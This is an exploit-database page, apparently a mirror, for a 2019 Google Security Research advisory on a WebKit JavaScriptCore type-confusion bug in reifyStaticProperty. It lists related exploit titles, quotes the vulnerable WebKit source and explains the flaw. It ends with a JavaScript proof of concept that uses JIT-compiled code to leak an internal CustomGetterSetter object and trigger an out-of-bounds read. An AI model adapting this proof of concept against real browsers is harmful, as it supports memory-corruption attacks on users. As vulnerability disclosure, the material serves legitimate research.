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"WebKit JSC - reifyStaticProperty Needs to set the PropertyAttribute::CustomAccessor flag for CustomGetterSetter"

Author

"Google Security Research"

Platform

multiple

Release date

2019-02-22

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2019-05-03 "Zotonic < 0.47.0 mod_admin - Cross-Site Scripting" webapps multiple "Ramòn Janssen"
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2019-04-19 "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)" remote multiple Metasploit
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2019-04-18 "Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)" dos multiple "Fakhri Zulkifli"
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2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
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2019-04-16 "Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation" local windows "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
2019-04-03 "Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion" dos multiple "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "WebKitGTK+ - 'ThreadedCompositor' Race Condition" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - CodeBlock Dangling Watchpoints Use-After-Free" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - Out-Of-Bounds Access in FTL JIT due to LICM Moving Array Access Before the Bounds Check" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46448/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46448/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46448/40905/webkit-jsc-reifystaticproperty-needs-to-set-the-propertyattributecustomaccessor-flag-for-customgettersetter/download/", "exploit_id": "46448", "exploit_description": "\"WebKit JSC - reifyStaticProperty Needs to set the PropertyAttribute::CustomAccessor flag for CustomGetterSetter\"", "exploit_date": "2019-02-22", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                                            

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/*
https://github.com/WebKit/webkit/blob/3fff8c40c665a09de5e3ede46fc35908f69353c3/Source/JavaScriptCore/runtime/Lookup.h#L392

    if (value.attributes() & PropertyAttribute::PropertyCallback) {
        JSValue result = value.lazyPropertyCallback()(vm, &thisObj);
        thisObj.putDirect(vm, propertyName, result, attributesForStructure(value.attributes()));
        return;
    }

    if (value.attributes() & PropertyAttribute::DOMJITAttribute) {
        ASSERT_WITH_MESSAGE(classInfo, "DOMJITAttribute should have class info for type checking.");
        const DOMJIT::GetterSetter* domJIT = value.domJIT();
        auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, domJIT->getter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, domJIT });
        thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
        return;
    }

    if (value.attributes() & PropertyAttribute::DOMAttribute) {
        ASSERT_WITH_MESSAGE(classInfo, "DOMAttribute should have class info for type checking.");
        auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, nullptr });
        thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
        return;
    }

    CustomGetterSetter* customGetterSetter = CustomGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter());
    thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));

It's possible that the given property's attributes variable "value.attributes()" doesn't contain PropertyAttribute::CustomAccessor. In that case, a mismatch between the value of the property and its attributes occurs. When handling a property access operation, the normal interpreter sees the type of the value whereas the JIT compiler sees the attributes. So we can use JITed code to pull out the CustomGetterSetter object to the JavaScript world. The PoC demonstrates type confusion and an OOB read using a CustomGetterSetter object linked to regExpConstructorInput.

PoC:
*/

function opt(o) {
    return o.r.input;
}

Object.assign({}, RegExp);  // Reifying

for (let i = 0; i < 200000; i++) {
    opt({r: RegExp});
}

let input = opt({r: RegExp});   // Pulling the CustomGetterSetter object.

let o = {
    a0: 0x1234,
    a1: 0x1234,
    a2: 0x1234,
    a3: 0x1234,
    a4: 0x1234,
    a5: 0x1234,
    a6: 0x1234,
    a7: 0x1234,
    a8: 0x1234,
    a9: 0x1234,
    a10: 0x1234,
    a11: 0x1234,
}

o.input = input;

print(o.input);  // The normal interpreter doesn't see the attributes, so it will just call the underneath getter using callCustomGetter.